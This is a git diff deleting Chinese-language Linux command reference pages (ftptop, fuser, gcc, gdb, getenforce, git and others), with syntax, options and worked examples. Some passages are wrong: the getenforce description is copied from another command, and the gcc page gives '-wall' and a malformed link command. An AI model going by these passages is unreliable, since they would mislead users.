- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ftptop.html b/linux-command.docset/Contents/Resources/Documents/c/ftptop.html deleted file mode 100644 index 64d1fe4896..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ftptop.html +++ /dev/null @@ -1,81 +0,0 @@ - - - - - - - - - - - ftptop 命令,Linux ftptop 命令详解:proftpd服务器的连接状态 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ftptop

-

proftpd服务器的连接状态

-

补充说明

-

ftptop命令 类似于top命令的显示风格显示proftpd服务器的连接状态。

-

语法

-
ftptop(选项)
-
-

选项

-
-D:过滤正在下载的会话;
--S:仅显示指定虚拟主机的连接状态;
--d:指定屏幕刷新时间,默认
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ftpwho.html b/linux-command.docset/Contents/Resources/Documents/c/ftpwho.html deleted file mode 100644 index ba2297778b..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ftpwho.html +++ /dev/null @@ -1,80 +0,0 @@ - - - - - - - - - - - ftpwho 命令,Linux ftpwho 命令详解:显示当前每个ftp会话信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ftpwho

-

显示当前每个ftp会话信息

-

补充说明

-

ftpwho命令 ftp服务器套件proftpd的工作指令,用于显示当前每个ftp会话信息。

-

语法

-
ftpwho(选项)
-
-

选项

-
-h:显示帮助信息;
--v:详细模式,输出更多信息。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/fuser.html b/linux-command.docset/Contents/Resources/Documents/c/fuser.html deleted file mode 100644 index 528f8a20f6..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/fuser.html +++ /dev/null @@ -1,112 +0,0 @@ - - - - - - - - - - - fuser 命令,Linux fuser 命令详解:使用文件或文件结构识别进程 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

fuser

-

使用文件或文件结构识别进程

-

补充说明

-

fuser命令 用于报告进程使用的文件和网络套接字。fuser命令列出了本地进程的进程号,那些本地进程使用file,参数指定的本地或远程文件。对于阻塞特别设备,此命令列出了使用该设备上任何文件的进程。

-

每个进程号后面都跟随一个字母,该字母指示进程如何使用文件。

-
    -
  • c :指示进程的工作目录。
  • -
  • e :指示该文件为进程的可执行文件(即进程由该文件拉起)。
  • -
  • f :指示该文件被进程打开,默认情况下f字符不显示。
  • -
  • F :指示该文件被进程打开进行写入,默认情况下F字符不显示。
  • -
  • r :指示该目录为进程的根目录。
  • -
  • m :指示进程使用该文件进行内存映射,抑或该文件为共享库文件,被进程映射进内存。
  • -
-

语法

-
fuser(选项)(参数)
-
-

选项

-
-a:显示命令行中指定的所有文件;
--k:杀死访问指定文件的所有进程;
--i:杀死进程前需要用户进行确认;
--l:列出所有已知信号名;
--m:指定一个被加载的文件系统或一个被加载的块设备;
--n:选择不同的名称空间;
--u:在每个进程后显示所属的用户名。
-
-

参数

-

文件:可以是文件名或者TCP、UDP端口号。

-

实例

-

要列出使用/etc/passwd文件的本地进程的进程号,请输入:

-
fuser /etc/passwd
-
-

要列出使用/etc/filesystems文件的进程的进程号和用户登录名,请输入:

-
fuser -u /etc/filesystems
-
-

要终止使用给定文件系统的所有进程,请输入:

-
fuser -k -x -u -c /dev/hd1  或者  fuser -kxuc /home
-
-

任一命令都列出了进程号和用户名,然后终止每个正在使用/dev/hd1 (/home)文件系统的进程。仅有root用户能终止属于另一用户的进程。如果您正在试图卸下/dev/hd1文件系统,而一个正在访问/dev/hd1文件系统的进程不允许这样,您可能希望使用此命令。

-

要列出正在使用已从给定文件系统删除的文件的全部进程,请输入:

-
fuser -d /usr文件
-
-

/dev/kmem 用于系统映像。
-/dev/mem  也用于系统映像。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/gcc.html b/linux-command.docset/Contents/Resources/Documents/c/gcc.html deleted file mode 100644 index e30f80cc67..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/gcc.html +++ /dev/null @@ -1,129 +0,0 @@ - - - - - - - - - - - gcc 命令,Linux gcc 命令详解:基于C/C++的编译器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

gcc

-

基于C/C++的编译器

-

补充说明

-

gcc命令 使用GNU推出的基于C/C++的编译器,是开放源代码领域应用最广泛的编译器,具有功能强大,编译代码支持性能优化等特点。现在很多程序员都应用GCC,怎样才能更好的应用GCC。目前,GCC可以用来编译C/C++、FORTRAN、JAVA、OBJC、ADA等语言的程序,可根据需要选择安装支持的语言。

-

语法

-
gcc(选项)(参数)
-
-

选项

-
-o:指定生成的输出文件;
--E:仅执行编译预处理;
--S:将C代码转换为汇编代码;
--wall:显示警告信息;
--c:仅执行编译操作,不进行连接操作。
-
-

参数

-

C源文件:指定C语言源代码文件。

-

实例

-

常用编译命令选项

-

假设源程序文件名为test.c

-

无选项编译链接

-
gcc test.c
-
-

将test.c预处理、汇编、编译并链接形成可执行文件。这里未指定输出文件,默认输出为a.out。

-

选项 -o

-
gcc test.c -o test
-
-

将test.c预处理、汇编、编译并链接形成可执行文件test。-o选项用来指定输出文件的文件名。

-

选项 -E

-
gcc -E test.c -o test.i
-
-

将test.c预处理输出test.i文件。

-

选项 -S

-
gcc -S test.i
-
-

将预处理输出文件test.i汇编成test.s文件。

-

选项 -c

-
gcc -c test.s
-
-

将汇编输出文件test.s编译输出test.o文件。

-

无选项链接

-
gcc test.o -o test
-
-

将编译输出文件test.o链接成最终可执行文件test。

-

选项 -O

-
gcc -O1 test.c -o test
-
-

使用编译优化级别1编译程序。级别为1~3,级别越大优化效果越好,但编译时间越长。

-

多源文件的编译方法

-

如果有多个源文件,基本上有两种编译方法:

-

假设有两个源文件为test.c和testfun.c

-

多个文件一起编译

-
gcc testfun.c test.c -o test
-
-

将testfun.c和test.c分别编译后链接成test可执行文件。

-

分别编译各个源文件,之后对编译后输出的目标文件链接。

-
gcc -c testfun.c    #将testfun.c编译成testfun.o
-gcc -c test.c       #将test.c编译成test.o
-gcc -o testfun.o test.o -o test    #将testfun.o和test.o链接成test
-
-

以上两种方法相比较,第一中方法编译时需要所有文件重新编译,而第二种方法可以只重新编译修改的文件,未修改的文件不用重新编译。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/gcov.html b/linux-command.docset/Contents/Resources/Documents/c/gcov.html deleted file mode 100644 index 3538bf531a..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/gcov.html +++ /dev/null @@ -1,84 +0,0 @@ - - - - - - - - - - - gcov 命令,Linux gcov 命令详解:测试程序的代码覆盖率的工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

gcov

-

测试程序的代码覆盖率的工具

-

补充说明

-

gcov命令 是一款测试程序的代码覆盖率的工具。

-

语法

-
gcov(选项)(参数)
-
-

选项

-
-h:显示帮助信息;
--v:显示版本信息;
--a:输出所有的基本块的执行计数;
--n:并创建输出文件。
-
-

参数

-

V语言文件:C语言源代码文件。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/gdb.html b/linux-command.docset/Contents/Resources/Documents/c/gdb.html deleted file mode 100644 index 5303836519..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/gdb.html +++ /dev/null @@ -1,349 +0,0 @@ - - - - - - - - - - - gdb 命令,Linux gdb 命令详解:功能强大的程序调试器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

gdb

-

功能强大的程序调试器

-

补充说明

-

gdb命令 包含在GNU的gcc开发套件中,是功能强大的程序调试器。GDB中的命令固然很多,但我们只需掌握其中十个左右的命令,就大致可以完成日常的基本的程序调试工作。

-

语法

-
gdb(选项)(参数)
-
-

选项

-
-cd:设置工作目录;
--q:安静模式,不打印介绍信息和版本信息;
--d:添加文件查找路径;
--x:从指定文件中执行GDB指令;
--s:设置读取的符号表文件。
-
-

命令 | 解释 | 示例 ---- | --- | --- -file <文件名> | 加载被调试的可执行程序文件。
因为一般都在被调试程序所在目录下执行GDB,因而文本名不需要带路径。 | (gdb) file gdb-sample -r | Run的简写,运行被调试的程序。
如果此前没有下过断点,则执行完整个程序;如果有断点,则程序暂停在第一个可用断点处。 | (gdb) r -c | Continue的简写,继续执行被调试程序,直至下一个断点或程序结束。 | (gdb) c -b <行号>
b <函数名称>
b *<函数名称>
b <代码地址> d [编号] | b: Breakpoint的简写,设置断点。两可以使用“行号”“函数名称”“执行地址”等方式指定断点位置。
其中在函数名称前面加“
”符号表示将断点设置在“由编译器生成的prolog代码处”。如果不了解汇编,可以不予理会此用法。 d: Delete breakpoint的简写,删除指定编号的某个断点,或删除所有断点。断点编号从1开始递增。 | (gdb) b 8(gdb) b main
(gdb) b *main
(gdb) b *0x804835c (gdb) d -s, n | s: 执行一行源程序代码,如果此行代码中有函数调用,则进入该函数;
n: 执行一行源程序代码,此行代码中的函数调用也一并执行。 s 相当于其它调试器中的“Step Into (单步跟踪进入)”;
n 相当于其它调试器中的“Step Over (单步跟踪)”。 这两个命令必须在有源代码调试信息的情况下才可以使用(GCC编译时使用“-g”参数)。 | (gdb) s
(gdb) n -si, ni | si命令类似于s命令,ni命令类似于n命令。所不同的是,这两个命令(si/ni)所针对的是汇编指令,而s/n针对的是源代码。 | (gdb) si
(gdb) ni -p <变量名称> | Print的简写,显示指定变量(临时变量或全局变量)的值。 | (gdb) p i
(gdb) p nGlobalVar -display ... undisplay <编号> | display,设置程序中断后欲显示的数据及其格式。
例如,如果希望每次程序中断后可以看到即将被执行的下一条汇编指令,可以使用命令
“display /i $pc”
其中 $pc 代表当前汇编指令,/i 表示以十六进行显示。当需要关心汇编代码时,此命令相当有用。 undispaly,取消先前的display设置,编号从1开始递增。 | (gdb) display /i $pc (gdb) undisplay 1 -i | info的简写,用于显示各类信息,详情请查阅“help i”。 | (gdb) i r -q | Quit的简写,退出GDB调试环境。 | (gdb) q -help [命令名称] | GDB帮助命令,提供对GDB名种命令的解释说明。
如果指定了“命令名称”参数,则显示该命令的详细说明;如果没有指定参数,则分类显示所有GDB命令,供用户进一步浏览和查询。 | (gdb) help

-

参数

-

文件:二进制可执行程序。

-

实例

-

以下是linux下dgb调试的一个实例,先给出一个示例用的小程序,C语言代码:

-
#include <stdio.h>
-int nGlobalVar = 0;
-
-int tempFunction(int a, int b)
-{
-    printf("tempFunction is called, a = %d, b = %d /n", a, b);
-    return (a + b);
-}
-
-int main()
-{
-    int n;
-        n = 1;
-        n++;
-        n--;
-
-        nGlobalVar += 100;
-        nGlobalVar -= 12;
-
-    printf("n = %d, nGlobalVar = %d /n", n, nGlobalVar);
-
-        n = tempFunction(1, 2);
-    printf("n = %d", n);
-
-    return 0;
-}
-
-

请将此代码复制出来并保存到文件 gdb-sample.c 中,然后切换到此文件所在目录,用GCC编译之:

-
gcc gdb-sample.c -o gdb-sample -g
-
-

在上面的命令行中,使用 -o 参数指定了编译生成的可执行文件名为 gdb-sample,使用参数 -g 表示将源代码信息编译到可执行文件中。如果不使用参数 -g,会给后面的GDB调试造成不便。当然,如果我们没有程序的源代码,自然也无从使用 -g 参数,调试/跟踪时也只能是汇编代码级别的调试/跟踪。

-

下面“gdb”命令启动GDB,将首先显示GDB说明,不管它:

-
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
-Copyright 2003 free Software Foundation, Inc.
-GDB is free software, covered by the GNU General Public License, and you are
-welcome to change it and/or distribute copies of it under certain conditions.
-type "show copying" to see the conditions.
-There is absolutely no warranty for GDB. Type "show warranty" for details.
-This GDB was configured as "i386-redhat-linux-gnu".
-(gdb)
-
-

上面最后一行“(gdb)”为GDB内部命令引导符,等待用户输入GDB命令。

-

下面使用“file”命令载入被调试程序 gdb-sample(这里的 gdb-sample 即前面 GCC 编译输出的可执行文件):

-
(gdb) file gdb-sample
-Reading symbols from gdb-sample...done.
-
-

上面最后一行提示已经加载成功。

-

下面使用“r”命令执行(Run)被调试文件,因为尚未设置任何断点,将直接执行到程序结束:

-
(gdb) r
-Starting program: /home/liigo/temp/test_jmp/test_jmp/gdb-sample
-n = 1, nGlobalVar = 88
-tempFunction is called, a = 1, b = 2
-n = 3
-Program exited normally.
-
-

下面使用“b”命令在 main 函数开头设置一个断点(Breakpoint):

-
(gdb) b main
-Breakpoint 1 at 0x804835c: file gdb-sample.c, line 19.
-
-

上面最后一行提示已经成功设置断点,并给出了该断点信息:在源文件 gdb-sample.c 第19行处设置断点;这是本程序的第一个断点(序号为1);断点处的代码地址为 0x804835c(此值可能仅在本次调试过程中有效)。回过头去看源代码,第19行中的代码为“n = 1”,恰好是 main 函数中的第一个可执行语句(前面的“int n;”为变量定义语句,并非可执行语句)。

-

再次使用“r”命令执行(Run)被调试程序:

-
(gdb) r
-Starting program: /home/liigo/temp/gdb-sample
-
-Breakpoint 1, main () at gdb-sample.c:19
-19 n = 1;
-
-

程序中断在gdb-sample.c第19行处,即main函数是第一个可执行语句处。

-

上面最后一行信息为:下一条将要执行的源代码为“n = 1;”,它是源代码文件gdb-sample.c中的第19行。

-

下面使用“s”命令(Step)执行下一行代码(即第19行“n = 1;”):

-
(gdb) s
-20 n++;
-
-

上面的信息表示已经执行完“n = 1;”,并显示下一条要执行的代码为第20行的“n++;”。

-

既然已经执行了“n = 1;”,即给变量 n 赋值为 1,那我们用“p”命令(Print)看一下变量 n 的值是不是 1 :

-
(gdb) p n
-$1 = 1
-
-

果然是 1。($1大致是表示这是第一次使用“p”命令——再次执行“p n”将显示“$2 = 1”——此信息应该没有什么用处。)

-

下面我们分别在第26行、tempFunction 函数开头各设置一个断点(分别使用命令“b 26”“b tempFunction”):

-
(gdb) b 26
-Breakpoint 2 at 0x804837b: file gdb-sample.c, line 26.
-(gdb) b tempFunction
-Breakpoint 3 at 0x804832e: file gdb-sample.c, line 12.
-
-

使用“c”命令继续(Continue)执行被调试程序,程序将中断在第二 个断点(26行),此时全局变量 nGlobalVar 的值应该是 88;再一次执行“c”命令,程序将中断于第三个断点(12行,tempFunction 函数开头处),此时tempFunction 函数的两个参数 a、b 的值应分别是 1 和 2:

-
(gdb) c
-Continuing.
-
-Breakpoint 2, main () at gdb-sample.c:26
-26 printf("n = %d, nGlobalVar = %d /n", n, nGlobalVar);
-(gdb) p nGlobalVar
-$2 = 88
-(gdb) c
-Continuing.
-n = 1, nGlobalVar = 88
-
-Breakpoint 3, tempFunction (a=1, b=2) at gdb-sample.c:12
-12 printf("tempFunction is called, a = %d, b = %d /n", a, b);
-(gdb) p a
-$3 = 1
-(gdb) p b
-$4 = 2
-
-

上面反馈的信息一切都在我们预料之中~~

-

再一次执行“c”命令(Continue),因为后面再也没有其它断点,程序将一直执行到结束:

-
(gdb) c
-Continuing.
-tempFunction is called, a = 1, b = 2
-n = 3
-Program exited normally.
-
-

有时候需要看到编译器生成的汇编代码,以进行汇编级的调试或跟踪,又该如何操作呢?

-

这就要用到display命令“display /i $pc”了(此命令前面已有详细解释):

-
(gdb) display /i $pc
-(gdb)
-
-

此后程序再中断时,就可以显示出汇编代码了:

-
(gdb) r
-Starting program: /home/liigo/temp/test_jmp/test_jmp/gdb-sample
-
-Breakpoint 1, main () at gdb-sample.c:19
-19 n = 1;
-1: x/i $pc 0x804835c <main+16>: movl $0x1,0xfffffffc(%ebp)
-
-

看到了汇编代码,“n = 1;”对应的汇编代码是“movl $0x1,0xfffffffc(%ebp)”。

-

并且以后程序每次中断都将显示下一条汇编指定(“si”命令用于执行一条汇编代码——区别于“s”执行一行C代码):

-
(gdb) si
-20 n++;
-1: x/i $pc 0x8048363 <main+23>: lea 0xfffffffc(%ebp),%eax
-(gdb) si
-0x08048366 20 n++;
-1: x/i $pc 0x8048366 <main+26>: incl (%eax)
-(gdb) si
-21 n--;
-1: x/i $pc 0x8048368 <main+28>: lea 0xfffffffc(%ebp),%eax
-(gdb) si
-0x0804836b 21 n--;
-1: x/i $pc 0x804836b <main+31>: decl (%eax)
-(gdb) si
-23 nGlobalVar += 100;
-1: x/i $pc 0x804836d <main+33>: addl $0x64,0x80494fc
-
-

接下来我们试一下命令“b *<函数名称>”。

-

为了更简明,有必要先删除目前所有断点(使用“d”命令——Delete breakpoint):

-
(gdb) d
-Delete all breakpoints? (y or n) y
-(gdb)
-
-

当被询问是否删除所有断点时,输入“y”并按回车键即可。

-

下面使用命令“b *main”在 main 函数的 prolog 代码处设置断点(prolog、epilog,分别表示编译器在每个函数的开头和结尾自行插入的代码):

-
(gdb) b *main
-Breakpoint 4 at 0x804834c: file gdb-sample.c, line 17.
-(gdb) r
-The program being debugged has been started already.
-Start it from the beginning? (y or n) y
-Starting program: /home/liigo/temp/test_jmp/test_jmp/gdb-sample
-
-Breakpoint 4, main () at gdb-sample.c:17
-17 {
-1: x/i $pc 0x804834c <main>: push %ebp
-(gdb) si
-0x0804834d 17 {
-1: x/i $pc 0x804834d <main+1>: mov %esp,%ebp
-(gdb) si
-0x0804834f in main () at gdb-sample.c:17
-17 {
-1: x/i $pc 0x804834f <main+3>: sub $0x8,%esp
-(gdb) si
-0x08048352 17 {
-1: x/i $pc 0x8048352 <main+6>: and $0xfffffff0,%esp
-(gdb) si
-0x08048355 17 {
-1: x/i $pc 0x8048355 <main+9>: mov $0x0,%eax
-(gdb) si
-0x0804835a 17 {
-1: x/i $pc 0x804835a <main+14>: sub %eax,%esp
-(gdb) si
-19 n = 1;
-1: x/i $pc 0x804835c <main+16>: movl $0x1,0xfffffffc(%ebp)
-
-

此时可以使用“i r”命令显示寄存器中的当前值———“i r”即“Infomation Register”:

-
(gdb) i r
-eax 0xbffff6a4 -1073744220
-ecx 0x42015554 1107383636
-edx 0x40016bc8 1073834952
-ebx 0x42130a14 1108544020
-esp 0xbffff6a0 0xbffff6a0
-ebp 0xbffff6a8 0xbffff6a8
-esi 0x40015360 1073828704
-edi 0x80483f0 134513648
-eip 0x8048366 0x8048366
-eflags 0x386 902
-cs 0x23 35
-ss 0x2b 43
-ds 0x2b 43
-es 0x2b 43
-fs 0x0 0
-gs 0x33 51
-
-

当然也可以显示任意一个指定的寄存器值:

-
(gdb) i r eax
-eax 0xbffff6a4 -1073744220
-
-

最后一个要介绍的命令是“q”,退出(Quit)GDB调试环境:

-
(gdb) q
-The program is running. exit anyway? (y or n)
-
-

补充内容

-
-

gdb 教程:慕课网-Linux C语言指针与内存-第三章

-
-

如果删除源代码, 就无法显示行号等辅助信息了

-
gcc -g gdb.c -o gdb.out # -g 支持gdb调试; -o 输出, 默认为 a.out
-
-gdb gdb.out # 进入 gdb 调试环境
-enter # 继续执行上条命令
-l # 列出源代码, 默认 10 行, 按 l 继续
-
-start # 开始单步调试, 默认 main() 第一行
-p a # 查看 a 变量的值
-n # 继续到下一行
-s # 进入子函数
-bt # 查看函数栈
-f 1 # 切换函数栈
-
-q 退出调试
-
-

测试用代码

-
#include <stdio.h>
-
-void change(int a, int b){
-    int tmp=a;
-    a=b; b=tmp;
-}
-
-void change2(int *a, int *b){
-    int tmp=*a;
-    *a=*b; *b=tmp;
-}
-
-int main(){
-    int a=5,b=3;
-    change(a,b);
-    printf("change:\na=%d\nb=%d\n", a,b);
-    change2(&a,&b);
-    printf("change2:\na=%d\nb=%d\n", a,b);
-}
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/get_module.html b/linux-command.docset/Contents/Resources/Documents/c/get_module.html deleted file mode 100644 index dc5758066b..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/get_module.html +++ /dev/null @@ -1,119 +0,0 @@ - - - - - - - - - - - get_module 命令,Linux get_module 命令详解:获取Linux内核模块的详细信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

get_module

-

获取Linux内核模块的详细信息

-

补充说明

-

get_module命令 用于获取Linux内核模块的详细信息。

-

语法

-
get_module 模块名
-
-

实例

-

使用lsmod命令查看内核模块:

-
lsmod | head -5
-Module                  Size  Used by
-ipv6                  272801  15
-xfrm_nalgo             13381  1 ipv6
-crypto_api             12609  1 xfrm_nalgo
-ip_conntrack_ftp       11569  0
-
-

使用get_module命令查看模块详细信息:

-
get_module ipv6
-        refcnt               : 15
-        srcversion           : 8CC9C024755B4483E56C0EF
-
-Parameters:
-        autoconf             : 1
-        disable              : 0
-        disable_ipv6         : 0
-Sections:
-        .altinstr_replacement : 0xf8f1a3cf
-        .altinstructions     : 0xf8f1d03c
-        .bss                 : 0xf8f36000
-        .data.read_mostly    : 0xf8f34d20
-        .data                : 0xf8f2f7a0
-        .exit.text           : 0xf8f1a234
-        .gnu.linkonce.this_module : 0xf8f34e00
-        .init.data           : 0xf8a16a60
-        .init.text           : 0xf8a16000
-        .module_sig          : 0xf8f37960
-        .rodata.str1.1       : 0xf8f1ae46
-        .rodata              : 0xf8f1a420
-        .smp_locks           : 0xf8f1d150
-        .strtab              : 0xf8f29840
-        .symtab              : 0xf8f24000
-        .text                : 0xf8ef5000
-        __kcrctab            : 0xf8f1de70
-        __kcrctab_gpl        : 0xf8f1d9cc
-        __ksymtab            : 0xf8f1dd78
-        __ksymtab_gpl        : 0xf8f1d954
-        __ksymtab_strings    : 0xf8f1da44
-        __param              : 0xf8f1da08
-        __versions           : 0xf8f1df00
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/getenforce.html b/linux-command.docset/Contents/Resources/Documents/c/getenforce.html deleted file mode 100644 index 2506703af9..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/getenforce.html +++ /dev/null @@ -1,81 +0,0 @@ - - - - - - - - - - - getenforce 命令,Linux getenforce 命令详解:显示当前SELinux的应用模式,是强制、执行还是停用 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

getenforce

-

显示当前SELinux的应用模式,是强制、执行还是停用

-

补充说明

-

grename命令 可以重命名卷组的名称。

-

语法

-
getenforce
-
-

例子

-

查看当前SELinux的应用模式。

-
[root@localhost ~]# getenforce
-Enforcing
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/getsebool.html b/linux-command.docset/Contents/Resources/Documents/c/getsebool.html deleted file mode 100644 index 2548aef56f..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/getsebool.html +++ /dev/null @@ -1,92 +0,0 @@ - - - - - - - - - - - getsebool 命令,Linux getsebool 命令详解:查询SElinux策略内各项规则的布尔值 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

getsebool

-

查询SElinux策略内各项规则的布尔值

-

补充说明

-

getsebool命令 是用来查询SElinux策略内各项规则的布尔值。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令。

-

语法

-
getsebool [-a] [布尔值条款]
-
-

选项

-
-a:列出目前系统上面的所有布尔值条款设置为开启或关闭值。
-
-

实例

-

查询本系统内所有的布尔值设置状况:

-
getsebool -a
-NetworkManager_disable_trans --> off
-allow_console_login --> off
-allow_cvs_read_shadow --> off
-allow_daemons_dump_core --> on
-....(底下省略)....
-
-

查询httpd_enable_homedirs是否为关闭,若没关闭,请关闭它:

-
getsebool httpd_enable_homedirs
-setsebool -P httpd_enable_homedirs=0    # 0是关闭  1是开启
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/git.html b/linux-command.docset/Contents/Resources/Documents/c/git.html deleted file mode 100644 index 0d5a7edda3..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/git.html +++ /dev/null @@ -1,864 +0,0 @@ - - - - - - - - - - - git 命令,Linux git 命令详解:是目前世界上最先进的分布式版本控制系统 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

git

-

是目前世界上最先进的分布式版本控制系统

-

补充说明

-

git命令 很多人都知道,Linus在1991年创建了开源的Linux,从此,Linux系统不断发展,已经成为最大的服务器系统软件了。

-

Linus虽然创建了Linux,但Linux的壮大是靠全世界热心的志愿者参与的,这么多人在世界各地为Linux编写代码,那Linux的代码是如何管理的呢?

-

事实是,在2002年以前,世界各地的志愿者把源代码文件通过diff的方式发给Linus,然后由Linus本人通过手工方式合并代码!

-

你也许会想,为什么Linus不把Linux代码放到版本控制系统里呢?不是有CVS、SVN这些免费的版本控制系统吗?因为Linus坚定地反对CVS和SVN,这些集中式的版本控制系统不但速度慢,而且必须联网才能使用。有一些商用的版本控制系统,虽然比CVS、SVN好用,但那是付费的,和Linux的开源精神不符。

-

不过,到了2002年,Linux系统已经发展了十年了,代码库之大让Linus很难继续通过手工方式管理了,社区的弟兄们也对这种方式表达了强烈不满,于是Linus选择了一个商业的版本控制系统BitKeeper,BitKeeper的东家BitMover公司出于人道主义精神,授权Linux社区免费使用这个版本控制系统。

-

安定团结的大好局面在2005年就被打破了,原因是Linux社区牛人聚集,不免沾染了一些梁山好汉的江湖习气。开发Samba的Andrew试图破解BitKeeper的协议(这么干的其实也不只他一个),被BitMover公司发现了(监控工作做得不错!),于是BitMover公司怒了,要收回Linux社区的免费使用权。

-

Linus可以向BitMover公司道个歉,保证以后严格管教弟兄们,嗯,这是不可能的。实际情况是这样的:

-

Linus花了两周时间自己用C写了一个分布式版本控制系统,这就是Git!一个月之内,Linux系统的源码已经由Git管理了!牛是怎么定义的呢?大家可以体会一下。

-

Git迅速成为最流行的分布式版本控制系统,尤其是2008年,GitHub网站上线了,它为开源项目免费提供Git存储,无数开源项目开始迁移至GitHub,包括jQuery,PHP,Ruby等等。

-

历史就是这么偶然,如果不是当年BitMover公司威胁Linux社区,可能现在我们就没有免费而超级好用的Git了。

-

Git常用命令清单

-

语法

-
git [--version] [--help] [-C <path>] [-c name=value]
-   [--exec-path[=<path>]] [--html-path] [--man-path] [--info-path]
-   [-p | --paginate | --no-pager] [--no-replace-objects] [--bare]
-   [--git-dir=<path>] [--work-tree=<path>] [--namespace=<name>]
-   <command> [<args>]
-
-

选项

-
add              将文件内容添加到索引
-bisect           通过二进制查找引入错误的更改
-branch           列出,创建或删除分支
-checkout         检查分支或路径到工作树
-clone            将存储库克隆到新目录中
-commit           将更改记录到存储库
-diff             显示提交,提交和工作树等之间的更改
-fetch            从另一个存储库下载对象和引用
-grep             打印匹配图案的行
-init             创建一个空的Git仓库或重新初始化一个现有的
-log              显示提交日志
-merge            加入两个或更多的开发历史
-mv               移动或重命名文件,目录或符号链接
-pull             从另一个存储库或本地分支获取并合并
-push             更新远程引用以及相关对象
-rebase           转发端口本地提交到更新的上游头
-reset            将当前HEAD复位到指定状态
-rm               从工作树和索引中删除文件
-show             显示各种类型的对象
-status           显示工作树状态
-tag              创建,列出,删除或验证使用GPG签名的标签对象
-
-

例子

-

init

-

git init #初始化

-

status

-

git status #获取状态

-

add

-

git add file # .或*代表全部添加
-git rm --cached <added_file_to_undo> # 在commit之前撤销git add操作
-git reset head # 好像比上面git rm --cached更方便

-

commit

-

git commit -m "message" #此处注意乱码

-

remote

-

git remote add origin git@github.com:JSLite/test.git #添加源

-

push

-
git push -u origin master # push同事设置默认跟踪分支  
-git push origin master  
-git push -f origin master # 强制推送文件,缩写 -f(全写--force)
-
-

clone

-

git clone git://github.com/JSLite/JSLite.js.git
-git clone git://github.com/JSLite/JSLite.js.git mypro #克隆到自定义文件夹
-git clone [user@]example.com:path/to/repo.git/ #SSH协议还有另一种写法。

-

git clone支持多种协议,除了HTTP(s)以外,还支持SSH、Git、本地文件协议等,下面是一些例子。git clone <版本库的网址> <本地目录名>

-
$ git clone http[s]://example.com/path/to/repo.git/
-$ git clone ssh://example.com/path/to/repo.git/
-$ git clone git://example.com/path/to/repo.git/
-$ git clone /opt/git/project.git 
-$ git clone file:///opt/git/project.git
-$ git clone ftp[s]://example.com/path/to/repo.git/
-$ git clone rsync://example.com/path/to/repo.git/
-
-

配置

-

首先是配置帐号信息 ssh -T git@github.com 测试。

-

修改项目中的个人信息

-
git help config # 获取帮助信息,查看修改个人信息的参数  
-git config --global user.name "小弟调调"           # 修改全局名字
-git config --global user.email "wowohoo@qq.com"  # 修改全局邮箱
-git config --list         # 查看配置的信息  
-
-

配置自动换行

-

自动转换坑太大,提交到git是自动将换行符转换为lf

-
git config --global core.autocrlf input
-
-

常见使用场景

-

创建SSH密钥

-

这个密钥用来跟 github 通信,在本地终端里生成然后上传到 github

-
ssh-keygen -t rsa -C 'wowohoo@qq.com' # 生成密钥  
-ssh-keygen -t rsa -C "wowohoo@qq.com" -f ~/.ssh/ww_rsa # 指定生成目录文件名字
-ssh -T git@github.com # 测试是否成功  
-
-

多账号ssh配置

-

1.生成指定名字的密钥

-

ssh-keygen -t rsa -C "邮箱地址" -f ~/.ssh/jslite_rsa
-会生成 jslite_rsajslite_rsa.pub 这两个文件

-

2.密钥复制到托管平台上

-

vim ~/.ssh/jslite_rsa.pub
-打开公钥文件 jslite_rsa.pub ,并把内容复制至代码托管平台上

-

3.修改config文件

-

vim ~/.ssh/config #修改config文件,如果没有创建 config

-
Host jslite.github.com
-  HostName github.com
-  User git
-  IdentityFile ~/.ssh/jslite_rsa
-
